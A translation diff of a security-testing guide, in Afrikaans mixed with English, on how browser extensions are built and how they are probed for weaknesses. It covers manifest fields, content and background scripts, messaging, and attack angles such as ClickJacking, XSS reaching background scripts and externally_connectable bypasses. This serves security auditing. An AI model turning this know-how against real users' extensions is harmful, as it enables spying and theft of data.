+Die uitbreiding laat 'n native binary toe wat toegang tot die gasheermasjien met die gebruiker se volle voorregte kan hê. Die native binary kommunikeer met die extension core deur die standaard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) wat deur Flash en ander browser plug-ins gebruik word.
 
-### Boundaries
+### Grense
 
 > [!CAUTION]
-> Om die gebruiker se volle voorregte te verkry, moet 'n aanvaller die uitbreiding oortuig om kwaadwillige invoer van die inhoudskrip na die uitbreiding se kern en van die uitbreiding se kern na die inheemse binêre oor te dra.
+> Om die gebruiker se volle voorregte te verkry, moet 'n aanvaller die uitbreiding oortuig om malicious input van die content script na die extension core en van die extension core na die native binary deur te gee.
 
-Elke komponent van die uitbreiding is van mekaar geskei deur **sterk beskermende grense**. Elke komponent loop in 'n **afsonderlike bedryfstelselproses**. Inhoudskripte en uitbreidingse kerns loop in **sandbox proses** wat nie vir die meeste bedryfstelseldienste beskikbaar is nie.
+Elke komponent van die uitbreiding is van mekaar geskei deur **sterk beskermende grense**. Elke komponent loop in 'n **afsonderlike operating system process**. Content scripts en extension cores loop in **sandbox processes** wat nie beskikbaar is vir die meeste operating system-dienste nie.
 
-Boonop is inhoudskripte geskei van hul geassosieerde webbladsye deur **in 'n afsonderlike JavaScript heap te loop**. Die inhoudskrip en webblad het **toegang tot dieselfde onderliggende DOM**, maar die twee **ruil nooit JavaScript-pointers uit nie**, wat die lekkasie van JavaScript-funksionaliteit voorkom.
+Verder is content scripts van hul geassosieerde webbladsye geskei deur **in 'n aparte JavaScript heap te loop**. Die content script en webblad het **access to the same underlying DOM**, maar die twee **never exchange JavaScript pointers**, wat die leaking van JavaScript-funksionaliteit voorkom.
 
 ## **`manifest.json`**
 
-'n Chrome-uitbreiding is net 'n ZIP-gids met 'n [.crx file extension](https://www.lifewire.com/crx-file-2620391). Die uitbreiding se kern is die **`manifest.json`** lêer in die wortel van die gids, wat uitleg, regte en ander konfigurasie opsies spesifiseer.
+'n Chrome extension is net 'n ZIP-lêergids met 'n [.crx file extension](https://www.lifewire.com/crx-file-2620391). Die kern van die uitbreiding is die **`manifest.json`** lêer in die wortel van die gids, wat layout, permissies en ander konfigurasie-opsies spesifiseer.
 
-Example:
+Voorbeeld:
 ```json
 {
 "manifest_version": 2,
@@ -61,7 +61,7 @@ Example:
 ```
 ### `content_scripts`
 
-Inhoudscripte word **gelaai** wanneer die gebruiker **na 'n ooreenstemmende bladsy navigeer**, in ons geval enige bladsy wat ooreenstem met die **`https://example.com/*`** uitdrukking en nie ooreenstem met die **`*://*/*/business*`** regex nie. Hulle voer uit **soos die bladsy se eie skripte** en het arbitrêre toegang tot die bladsy se [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
+Content-skripte word **gelaai** wanneer die gebruiker **na 'n ooreenstemmende bladsy navigeer**, in ons geval enige bladsy wat ooreenstem met die **`https://example.com/*`** uitdrukking en nie ooreenstem met die **`*://*/*/business*`** regex nie. Hulle word uitgevoer **soos die bladsy se eie skripte** en het arbitrêre toegang tot die bladsy se [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
 ```json
 "content_scripts": [
 {
@@ -76,9 +76,9 @@ Inhoudscripte word **gelaai** wanneer die gebruiker **na 'n ooreenstemmende blad
 }
 ],
 ```
-Om meer URL's in te sluit of uit te sluit, is dit ook moontlik om **`include_globs`** en **`exclude_globs`** te gebruik.
+Om meer URLs in te sluit of uit te sluit is dit ook moontlik om **`include_globs`** en **`exclude_globs`** te gebruik.
 
-Dit is 'n voorbeeld inhoudskrip wat 'n verduidelikknoppie by die bladsy sal voeg wanneer [die storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) gebruik word om die `message` waarde uit die uitbreiding se stoor te verkry.
+Dit is 'n voorbeeld content script wat 'n explain-knoppie aan die bladsy sal voeg wanneer [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) gebruik word om die `message`-waarde uit die extension’s storage te haal.
 ```js
 chrome.storage.local.get("message", (result) => {
 let div = document.createElement("div")
@@ -91,24 +91,24 @@ document.body.appendChild(div)
 ```
 <figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
 
-'n Boodskap word na die uitbreiding bladsye gestuur deur die inhoudskrip wanneer hierdie knoppie geklik word, deur die gebruik van die [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Dit is te danke aan die beperking van die inhoudskrip in direkte toegang tot API's, met `storage` wat onder die min uitsonderings val. Vir funksies buite hierdie uitsonderings, word boodskappe na uitbreiding bladsye gestuur waarmee inhoudskripte kan kommunikeer.
+Wanneer hierdie knoppie geklik word, stuur die content script 'n boodskap na die extension pages deur gebruik te maak van die [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Dit is omdat die content script beperkte direkte toegang tot APIs het, met `storage` as een van die paar uitsonderings. Vir funksionaliteit buite hierdie uitsonderings word boodskappe na extension pages gestuur waarmee content scripts kan kommunikeer.
 
 > [!WARNING]
-> Afhangende van die blaaier, kan die vermoëns van die inhoudskrip effens verskil. Vir Chromium-gebaseerde blaaiers is die vermoënslys beskikbaar in die [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), en vir Firefox dien die [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) as die primêre bron.\
+> Afhangend van die blaaier kan die vermoëns van die content script effens verskil. Vir Chromium-gebaseerde browsers is die lys van vermoëns beskikbaar in die [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), en vir Firefox dien die [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) as die primêre bron.\
-> Dit is ook noemenswaardig dat inhoudskripte die vermoë het om met agtergrondskripte te kommunikeer, wat hulle in staat stel om aksies uit te voer en antwoorde terug te stuur.
+> Dit is ook vermeldenswaardig dat content scripts met background scripts kan kommunikeer, wat dit toelaat om aksies uit te voer en antwoorde terug te stuur.
 
-Vir die weergave en foutopsporing van inhoudskripte in Chrome, kan die Chrome ontwikkelaar gereedskapmenu vanaf Opsies > Meer gereedskap > Ontwikkelaar gereedskap of deur Ctrl + Shift + I te druk, verkry word.
+Om content scripts in Chrome te sien en te debug, kan jy die Chrome developer tools-menu oopmaak via Options > More tools > Developer tools OF deur Ctrl + Shift + I te druk.
 
-Sodra die ontwikkelaar gereedskap vertoon word, moet die **Bron tab** geklik word, gevolg deur die **Inhoud Skripte** tab. Dit stel die waarneming van lopende inhoudskripte van verskeie uitbreidings en die instelling van breekpunte om die uitvoeringsvloei te volg, moontlik.
+Sodra die developer tools gewys word, klik op die **Source tab**, gevolg deur die **Content Scripts** tab. Dit maak dit moontlik om lopende content scripts van verskeie extensions te besigtig en breakpoints te stel om die uitvoeringsvloei te volg.
 
-### Ingevoegde inhoudskripte
+### Ingespuitte content scripts
 
 > [!TIP]
-> Let daarop dat **Inhoud Skripte nie verpligtend is nie** aangesien dit ook moontlik is om **dynamies** **skripte in te voeg** en om **programmaties** in webblaaie in te voeg via **`tabs.executeScript`**. Dit bied eintlik meer **fynbeheer**.
+> Let wel dat **Content Scripts nie verpligtend is nie**, aangesien dit ook moontlik is om skripte **dinamies** te inspuit en om hulle **programmaties** in webbladsye in te spuit via **`tabs.executeScript`**. Dit bied eintlik meer **fyn beheer**.
 
-Vir die programmatiese invoeging van 'n inhoudskrip, moet die uitbreiding [gashere toestemming](https://developer.chrome.com/docs/extensions/reference/permissions) hê vir die bladsy waarin die skripte ingevoeg moet word. Hierdie toestemmings kan verkry word deur **hulle aan te vra** binne die manifest van die uitbreiding of op 'n tydelike basis deur [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) te gebruik.
+Vir die programmatiese inspuiting van 'n content script, moet die extension host permissions hê vir die bladsy waarin die skripte ingespuit gaan word. Hierdie permissies kan verkry word deur hulle binne die manifest van die extension **aan te vra** of tydelik via [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
 
-#### Voorbeeld van 'n activeTab-gebaseerde uitbreiding
+#### Voorbeeld van activeTab-gebaseerde extension
 ```json:manifest.json
 {
 "name": "My extension",
@@ -125,7 +125,7 @@ Vir die programmatiese invoeging van 'n inhoudskrip, moet die uitbreiding [gashe
 }
 }
 ```
-- **Voeg 'n JS-lêer in op klik:**
+- **Inject 'n JS-lêer wanneer daar op geklik word:**
 ```javascript
 // content-script.js
 document.body.style.backgroundColor = "orange"
@@ -138,7 +138,7 @@ files: ["content-script.js"],
 })
 })
 ```
-- **Voeg 'n funksie in** op klik:
+- **Injekteer 'n function** met 'n klik:
 ```javascript
 //service-worker.js - Inject a function
 function injectedFunction() {
@@ -152,7 +152,7 @@ func: injectedFunction,
 })
 })
 ```
-#### Voorbeeld met skriptoestemmings
+#### Voorbeeld met scripting-toestemmings
 ```javascript
 // service-workser.js
 chrome.scripting.registerContentScripts([
@@ -169,17 +169,17 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" })
 ```
 Om meer URL's in te sluit of uit te sluit, is dit ook moontlik om **`include_globs`** en **`exclude_globs`** te gebruik.
 
-### Inhoud Skrifte `run_at`
+### Content-skripte `run_at`
 
-Die `run_at` veld beheer **wanneer JavaScript-lêers in die webblad ingespuit word**. Die verkieslike en standaardwaarde is `"document_idle"`.
+Die `run_at` veld beheer **wanneer JavaScript-lêers in die webblad ingesit word**. Die voorkeur- en standaardwaarde is `"document_idle"`.
 
 Die moontlike waardes is:
 
 - **`document_idle`**: Wanneer moontlik
-- **`document_start`**: Na enige lêers van `css`, maar voordat enige ander DOM gebou word of enige ander skrip uitgevoer word.
+- **`document_start`**: Na enige lêers van `css`, maar voordat enige ander DOM opgebou is of enige ander script uitgevoer word.
-- **`document_end`**: Onmiddellik nadat die DOM voltooi is, maar voordat subhulpbronne soos beelde en rame gelaai is.
+- **`document_end`**: Onmiddellik nadat die DOM voltooi is, maar voordat subbronne soos beelde en rame gelaai is.
 
-#### Via `manifest.json`
+#### Deur `manifest.json`
 ```json
 {
 "name": "My extension",
@@ -208,18 +208,18 @@ js: ["contentScript.js"],
 ```
 ### `background`
 
-Boodskappe wat deur inhoudscripts gestuur word, word deur die **agtergrondbladsy** ontvang, wat 'n sentrale rol speel in die koördinering van die uitbreiding se komponente. Opmerklik is dat die agtergrondbladsy oor die uitbreiding se lewensduur volhard, en diskreet werk sonder direkte gebruikersinteraksie. Dit het sy eie Dokumentobjekmodel (DOM), wat komplekse interaksies en toestandsbestuur moontlik maak.
+Boodskappe wat deur content scripts gestuur word, word ontvang deur die **agtergrondblad**, wat 'n sentrale rol speel in die koördinering van die uitbreiding se komponente. Belangrik is dat die agtergrondblad oor die lewensduur van die uitbreiding voortbestaan en stilweg werk sonder direkte gebruikersinteraksie. Dit het sy eie Document Object Model (DOM), wat ingewikkelde interaksies en toestandbestuur moontlik maak.
 
-**Belangrike Punten**:
+**Belangrike Punte**:
 
-- **Agtergrondbladsy Rol:** Dien as die senuweesentrum vir die uitbreiding, wat kommunikasie en koördinering tussen verskillende dele van die uitbreiding verseker.
+- **Rol van die Agtergrondblad:** Dien as die senuweesentrum van die uitbreiding en verseker kommunikasie en koördinering tussen verskeie dele van die uitbreiding.
-- **Volharding:** Dit is 'n altyd teenwoordige entiteit, onsigbaar vir die gebruiker maar integraal tot die uitbreiding se funksionaliteit.
+- **Persistensie:** Dit is 'n steeds-aanwesige entiteit, onsigbaar vir die gebruiker maar integraal tot die uitbreiding se funksionaliteit.
-- **Outomatiese Generasie:** As dit nie eksplisiet gedefinieer is nie, sal die blaaiers outomaties 'n agtergrondbladsy skep. Hierdie outomaties gegenereerde bladsy sal al die agtergrondskripte insluit wat in die uitbreiding se manifest gespesifiseer is, wat die naatlose werking van die uitbreiding se agtergrondtake verseker.
+- **Outomatiese Generering:** As dit nie eksplisiet gedefinieer is nie, sal die browser outomaties 'n agtergrondblad skep. Hierdie outo-gegenereerde blad sal al die agtergrondskripte insluit wat in die uitbreiding se manifest gespesifiseer is, wat die naatlose werking van die uitbreiding se agtergrondtake verseker.
 
 > [!TIP]
-> Die gerief wat deur die blaaiers verskaf word in die outomatiese generasie van 'n agtergrondbladsy (wanneer dit nie eksplisiet verklaar is nie) verseker dat al die nodige agtergrondskripte geïntegreer en operasioneel is, wat die uitbreiding se opstellingsproses stroomlyn.
+> Die gerief wat die browser bied deur outomaties 'n agtergrondblad te genereer (wanneer dit nie eksplisiet verklaar is nie) verseker dat alle nodige agtergrondskripte geïntegreer en operasioneel is, wat die opstelproses van die uitbreiding vereenvoudig.
 
-Voorbeeld agtergrondskrip:
+Example background script:
 ```js
 chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
 if (request == "explain") {
@@ -227,48 +227,50 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
 }
 })
 ```
-Dit gebruik die [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) om na boodskappe te luister. Wanneer 'n `"explain"` boodskap ontvang word, gebruik dit die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) om 'n bladsy in 'n nuwe oortjie te open.
+Dit gebruik [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) om na boodskappe te luister. Wanneer die `"explain"` boodskap ontvang word, gebruik dit [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) om 'n bladsy in 'n nuwe tabblad oop te maak.
 
-Om die agtergrondskrip te debug, kan jy na die **uitbreiding besonderhede gaan en die dienswerker inspekteer,** dit sal die ontwikkelaar gereedskap oopmaak met die agtergrondskrip:
+To debug die background script kan jy na die **extension details and inspect the service worker,** gaan; dit sal die developer tools met die background script oopmaak:
 
 <figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
 
-### Opsie bladsye en ander
+### Options pages and other
 
-Bladsy uitbreidings kan verskillende soorte bladsye bevat:
+Browser extensions kan verskeie tipes bladsye bevat:
 
-- **Aksie bladsye** word vertoon in 'n **afrollys wanneer die uitbreiding ikoon** geklik word.
+- **Action pages** word vertoon in 'n **drop-down wanneer die extension ico**n geklik word.
-- Bladsye wat die uitbreiding sal **laai in 'n nuwe oortjie**.
+- Bladsye wat die extension sal **load in a new tab**.
-- **Opsie Bladsye**: Hierdie bladsy word bo-op die uitbreiding vertoon wanneer dit geklik word. In die vorige manifest was ek in staat om toegang tot hierdie bladsy te verkry in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` of deur te klik:
+- **Option Pages**: Hierdie bladsy verskyn bo-op die extension wanneer dit geklik word. In die vorige manifest kon ek hierdie bladsy in my geval toegang kry by `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` of deur te klik:
 
 <figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
 
-Let daarop dat hierdie bladsye nie volhoubaar is soos agtergrond bladsye nie, aangesien hulle dinamies inhoud laai op noodsaaklikheid. Ten spyte hiervan, deel hulle sekere vermoëns met die agtergrond bladsy:
+Let wel dat hierdie bladsye nie persistent is soos background pages nie, aangesien hulle dinamies content laai wanneer nodig. Ten spyte hiervan deel hulle sekere vermoëns met die background page:
 
-- **Kommunikasie met Inhoud Skripte:** Soos die agtergrond bladsy, kan hierdie bladsye boodskappe van inhoud skripte ontvang, wat interaksie binne die uitbreiding fasiliteer.
+- **Communication with Content Scripts:** Soortgelyk aan die background page, kan hierdie bladsye boodskappe van content scripts ontvang, wat interaksie binne die extension vergemaklik.
-- **Toegang tot Uitbreiding-Spesifieke API's:** Hierdie bladsye geniet omvattende toegang tot uitbreiding-spesifieke API's, onderhewig aan die toestemmings wat vir die uitbreiding gedefinieer is.
+- **Access to Extension-Specific APIs:** Hierdie bladsye het uitgebreide toegang tot extension-specific APIs, onderhewig aan die permissions wat vir die extension gedefinieer is.
 
 ### `permissions` & `host_permissions`
 
-**`permissions`** en **`host_permissions`** is inskrywings uit die `manifest.json` wat sal aandui **watter toestemmings** die blaaier uitbreidings het (berging, ligging...) en in **watter web bladsye**.
+**`permissions`** en **`host_permissions`** is inskrywings in die `manifest.json` wat aandui **watter permissions** die browser extension het (storage, location...) en in **watter webbladsye**.
 
-Aangesien blaaier uitbreidings so **bevoorreg** kan wees, kan 'n kwaadwillige een of een wat gecompromitteer is die aanvaller **verskillende middele bied om sensitiewe inligting te steel en die gebruiker te spioeneer**.
+Aangesien browser extensions so **privileged** kan wees, kan 'n kwaadwillige een of een wat gekompromitteer is die aanvaller toelaat **verskeie maniere om sensitiewe inligting te steel en die gebruiker te bespioneer**.
 
 Kyk hoe hierdie instellings werk en hoe hulle misbruik kan word in:
 
+
 {{#ref}}
 browext-permissions-and-host_permissions.md
 {{#endref}}
 
 ### `content_security_policy`
 
-'n **inhoud sekuriteitsbeleid** kan ook binne die `manifest.json` verklaar word. As daar een gedefinieer is, kan dit **kwetsbaar** wees.
+'n **content security policy** kan ook binne die `manifest.json` gedefinieer word. Indien een gedefinieer is, kan dit **kwesbaar** wees.
 
-Die standaardinstelling vir blaaier uitbreiding bladsye is eerder beperkend:
+Die standaardinstelling vir browser extension-bladsye is redelik beperkend:
 ```bash
 script-src 'self'; object-src 'self';
 ```
-Vir meer inligting oor CSP en potensiële omseilings, kyk:
+Vir meer inligting oor CSP en potensiële bypasses, sien:
+
 
 {{#ref}}
 ../content-security-policy-csp-bypass/
@@ -276,7 +278,7 @@ Vir meer inligting oor CSP en potensiële omseilings, kyk:
 
 ### `web_accessible_resources`
 
-Om 'n webblad toegang te gee tot 'n bladsy van 'n Bladsy-uitbreiding, moet 'n `.html` bladsy byvoorbeeld in die **`web_accessible_resources`** veld van die `manifest.json` genoem word.\
+Sodat 'n webblad toegang tot 'n bladsy van 'n Browser Extension (byvoorbeeld 'n `.html` bladsy) kan kry, moet hierdie bladsy in die **`web_accessible_resources`** veld van die `manifest.json` genoem word.\
 Byvoorbeeld:
 ```javascript
 {
@@ -294,67 +296,68 @@ Byvoorbeeld:
 ...
 }
 ```
-Hierdie bladsye is toeganklik op 'n URL soos:
+Hierdie bladsye is beskikbaar via URL's soos:
 ```
 chrome-extension://<extension-id>/message.html
 ```
-In openbare uitbreidings is die **extension-id toeganklik**:
+In openbare uitbreidings is die **extension-id** toeganklik:
 
 <figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
 
-Alhoewel, as die `manifest.json` parameter **`use_dynamic_url`** gebruik word, kan hierdie **id dinamies wees**.
+As die `manifest.json`-parameter **`use_dynamic_url`** gebruik word, kan hierdie **id dinamies wees**.
 
 > [!TIP]
-> Let daarop dat selfs al word 'n bladsy hier genoem, dit mag **teen ClickJacking beskerm wees** danksy die **Content Security Policy**. So jy moet dit ook nagaan (frame-ancestors afdeling) voordat jy bevestig dat 'n ClickJacking-aanval moontlik is.
+> Let wel dat selfs al word 'n bladsy hier genoem, dit dalk **teen ClickJacking beskerm** is danksy die **Content Security Policy**. Jy moet dit dus ook nagaan (frame-ancestors section) voordat jy bevestig dat 'n ClickJacking-aanval moontlik is.
+
+Dat toegang tot hierdie bladsye toegestaan is, maak hulle **potensieel kwesbaar vir ClickJacking**:
 
-Om toegang tot hierdie bladsye te hê, maak hierdie bladsye **potensieel kwesbaar vir ClickJacking**:
 
 {{#ref}}
 browext-clickjacking.md
 {{#endref}}
 
 > [!TIP]
-> Om hierdie bladsye slegs deur die uitbreiding te laat laai en nie deur ewekansige URL's nie, kan ClickJacking-aanvalle voorkom.
+> Deur toe te laat dat hierdie bladsye slegs deur die uitbreiding gelaai word en nie deur ewekansige URLs nie, kan ClickJacking-aanvalle voorkom word.
 
 > [!CAUTION]
-> Let daarop dat die bladsye van **`web_accessible_resources`** en ander bladsye van die uitbreiding ook in staat is om **agtergrondskripte te kontak**. So as een van hierdie bladsye kwesbaar is vir **XSS**, kan dit 'n groter kwesbaarheid oopmaak.
+> Let wel dat die bladsye uit **`web_accessible_resources`** en ander bladsye van die uitbreiding ook in staat is om **contact te maak met background scripts**. Dus, as een van hierdie bladsye kwesbaar is vir **XSS** kan dit 'n groter kwesbaarheid oopmaak.
 >
-> Boonop, let daarop dat jy slegs bladsye wat in **`web_accessible_resources`** aangedui is, binne iframes kan oopmaak, maar van 'n nuwe oortjie is dit moontlik om enige bladsy in die uitbreiding te benader as jy die uitbreiding ID ken. Daarom, as 'n XSS gevind word wat dieselfde parameters misbruik, kan dit misbruik word selfs al is die bladsy nie in **`web_accessible_resources`** geconfigureer nie.
+> Verder, let op dat jy slegs bladsye wat in **`web_accessible_resources`** aangedui is binne iframes kan open, maar vanaf 'n nuwe tab is dit moontlik om enige bladsy in die uitbreiding te toegang te kry as jy die extension ID ken. Daarom, as 'n XSS gevind word wat dieselfde parameters misbruik, kan dit misbruik word selfs al is die bladsy nie in **`web_accessible_resources`** gekonfigureer nie.
 
 ### `externally_connectable`
 
-Volgens die [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), verklaar die `"externally_connectable"` manifest eienskap **watter uitbreidings en web bladsye kan verbind** met jou uitbreiding via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) en [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
+Volgens die [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally_connectable) verklaar die `"externally_connectable"` manifest-eienskap **watter extensions en webbladsye kan koppel** aan jou uitbreiding via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) en [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
 
-- As die **`externally_connectable`** sleutel **nie** in jou uitbreiding se manifest verklaar is nie of dit verklaar is as **`"ids": ["*"]`**, **kan alle uitbreidings verbind, maar geen web bladsye kan verbind**.
+- As die **`externally_connectable`** sleutel **nie** in jou uitbreiding se manifest verklaar is nie, of dit verklaar is as **`"ids": ["*"]`**, kan **alle extensions koppel, maar geen webbladsye kan koppel nie**.
-- As **spesifieke ID's gespesifiseer word**, soos in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **kan slegs daardie toepassings** verbind.
+- As **spesifieke IDs aangedui** is, soos in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, kan **slegs daardie toepassings** koppel.
-- As **ooreenkomste** gespesifiseer word, sal daardie webtoepassings in staat wees om te verbind:
+- As **matches** gespesifiseer is, sal daardie web-apps in staat wees om te koppel:
 ```json
 "matches": [
 "https://*.google.com/*",
 "*://*.chromium.org/*",
 ```
-- As dit as leeg gespesifiseer is: **`"externally_connectable": {}`**, sal geen app of web in staat wees om te verbind nie.
+- As dit as leeg gespesifiseer is: **`"externally_connectable": {}`**, sal geen app of webwerf in staat wees om te koppel nie.
 
-Die **minder uitbreidings en URL's** wat hier aangedui word, hoe **kleiner die aanvaloppervlak** sal wees.
+Hoe minder extensies en URL's hier aangedui word, hoe kleiner sal die aanvalsvlak wees.
 
 > [!CAUTION]
-> As 'n webblad **kwulnerabel is vir XSS of oorname** en in **`externally_connectable`** aangedui word, sal 'n aanvaller in staat wees om **boodskappe direk na die agtergrondskrip te stuur**, wat die Inhoudskrip en sy CSP heeltemal omseil.
+> Indien 'n webbladsy **kwetsbaar vir XSS of takeover** in **`externally_connectable`** aangedui word, sal 'n aanvaller in staat wees om **boodskappe direk na die background script te stuur**, en die Content Script en sy CSP heeltemal te omseil.
 >
-> Daarom is dit 'n **baie kragtige omseiling**.
+> Daarom is dit 'n **baie kragtige bypass**.
 >
-> Boonop, as die kliënt 'n rogue-uitbreiding installeer, selfs al is dit nie toegelaat om met die kwulnerabele uitbreiding te kommunikeer nie, kan dit **XSS-data in 'n toegelate webblad** inspuit of **`WebRequest`** of **`DeclarativeNetRequest`** API's misbruik om versoeke op 'n geteikende domein te manipuleer deur 'n bladsy se versoek vir 'n **JavaScript-lêer** te verander. (Let daarop dat CSP op die geteikende bladsy hierdie aanvalle kan voorkom). Hierdie idee kom [**uit hierdie skrywe**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
+> Verder, as die kliënt 'n rogue extension installeer, selfs al is dit nie toegelaat om met die kwesbare extension te kommunikeer nie, kan dit **XSS data in 'n toegelate web page injekteer** of **`WebRequest`** of **`DeclarativeNetRequest`** APIs misbruik om versoeke op 'n geteikende domein te manipuleer deur 'n blad se versoek na 'n **JavaScript file** te verander. (Let daarop dat CSP op die geteikende blad hierdie aanvalle kan voorkom). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
 
 ## Kommunikasie opsomming
 
-### Uitbreiding <--> WebApp
+### Extension <--> WebApp
 
-Om te kommunikeer tussen die inhoudskrip en die webblad, word posboodskappe gewoonlik gebruik. Daarom sal jy gewoonlik oproepe na die funksie **`window.postMessage`** in die webtoepassing vind en in die inhoudskrip luisteraars soos **`window.addEventListener`**. Let egter daarop dat die uitbreiding ook kan **kommunikeer met die webtoepassing deur 'n Post Boodskap te stuur** (en daarom moet die web dit verwag) of net die web kan dwing om 'n nuwe skrip te laai.
+Om te kommunikeer tussen die content script en die webblad gebruik mens gewoonlik post messages. Daarom sal jy in die web application gewoonlik oproepe na die funksie **`window.postMessage`** vind en in die content script luisteraars soos **`window.addEventListener`**. Neem egter kennis dat die extension ook kan **kommunikeer met die web application deur 'n Post Message te stuur** (en dus behoort die web dit te verwag) of eenvoudig die web laat 'n nuwe script laai.
 
-### Binne die uitbreiding
+### Binne die extension
 
-Gewoonlik word die funksie **`chrome.runtime.sendMessage`** gebruik om 'n boodskap binne die uitbreiding te stuur (gewoonlik hanteer deur die `background` skrip) en om dit te ontvang en te hanteer, word 'n luisteraar verklaar wat **`chrome.runtime.onMessage.addListener`** aanroep.
+Gewoonlik word die funksie **`chrome.runtime.sendMessage`** gebruik om 'n boodskap binne die extension te stuur (gewoonlik hanteer deur die `background` script) en om dit te ontvang en te hanteer word 'n listener gedeclareer wat **`chrome.runtime.onMessage.addListener`** aanroep.
 
-Dit is ook moontlik om **`chrome.runtime.connect()`** te gebruik om 'n volgehoue verbinding te hê in plaas van om enkele boodskappe te stuur; dit is moontlik om dit te gebruik om **boodskappe** te **stuur** en **te ontvang** soos in die volgende voorbeeld:
+Dit is ook moontlik om **`chrome.runtime.connect()`** te gebruik om 'n volgehoue verbinding te hê in plaas van enkel boodskappe te stuur; dit kan gebruik word om **send** en **receive** **messages** soos in die volgende voorbeeld:
 
 <details>
 
@@ -389,19 +392,19 @@ console.log("Content script received message from background script:", msg)
 ```
 </details>
 
-Dit is ook moontlik om boodskappe van 'n agtergrondskrip na 'n inhoudskrip in 'n spesifieke oortjie te stuur deur **`chrome.tabs.sendMessage`** aan te roep, waar jy die **ID van die oortjie** moet aandui om die boodskap na te stuur.
+Dit is ook moontlik om boodskappe van 'n background script na 'n content script wat in 'n spesifieke tab geleë is, te stuur deur **`chrome.tabs.sendMessage`** aan te roep, waar jy die **ID of the tab** moet aandui om die boodskap na te stuur.
 
-### Van toegelate `externally_connectable` na die uitbreiding
+### Van toegelate `externally_connectable` na die extension
 
-**Webtoepassings en eksterne blaaiers uitbreidings wat toegelaat word** in die `externally_connectable` konfigurasie kan versoeke stuur met:
+**Web apps en eksterne browser extensions wat toegelaat is** in die `externally_connectable` konfigurasie kan versoeke stuur met behulp van :
 ```javascript
 chrome.runtime.sendMessage(extensionId, ...
 ```
-Waar dit nodig is om die **uitbreiding ID** te noem.
+Waar dit nodig is om die **extension ID**.
 
-### Inheemse Berading
+### Native Messaging
 
-Dit is moontlik vir die agtergrondskripte om met binêre binne die stelsel te kommunikeer, wat **onderhewig kan wees aan kritieke kwesbaarhede soos RCE's** as hierdie kommunikasie nie behoorlik beveilig is nie. [More on this later](#native-messaging).
+Dit is moontlik vir die background scripts om met binaries binne die stelsel te kommunikeer, wat **gevoelig kan wees vir kritieke kwesbaarhede soos RCEs** as hierdie kommunikasie nie behoorlik beveilig is nie. [More on this later](#native-messaging).
 ```javascript
 chrome.runtime.sendNativeMessage(
 "com.my_company.my_application",
@@ -411,11 +414,11 @@ console.log("Received " + response)
 }
 )
 ```
-## Web **↔︎** Inhoud Skrip Kommunikasie
+## Web **↔︎** Content Script Kommunikasie
 
-Die omgewings waar **inhoud skripte** werk en waar die gasheer bladsye bestaan, is **geskeide** van mekaar, wat **isolasie** verseker. Ten spyte van hierdie isolasie, het albei die vermoë om met die bladsy se **Document Object Model (DOM)**, 'n gedeelde hulpbron, te kommunikeer. Vir die gasheer bladsy om in kommunikasie met die **inhoud skrip** te tree, of indirek met die uitbreiding deur die inhoud skrip, is dit nodig om die **DOM** te gebruik wat deur albei partye as die kommunikasiekanaal toeganklik is.
+Die omgewings waar **content scripts** opereer en waar die gasheerbladsye bestaan, is van mekaar **geskei**, wat **isolasie** verseker. Ten spyt van hierdie isolasie het beide die vermoë om met die bladsy se **Document Object Model (DOM)**, 'n gedeelde hulpbron, te kommunikeer. Vir die gasheerbladsy om met die **content script** te kommunikeer, of indirek met die extension deur die content script, moet dit die **DOM** wat deur albei partye toeganklik is, as die kommunikasiekanaal gebruik.
 
-### Post Berigte
+### Post Messages
 ```javascript:content-script.js
 // This is like "chrome.runtime.sendMessage" but to maintain the connection
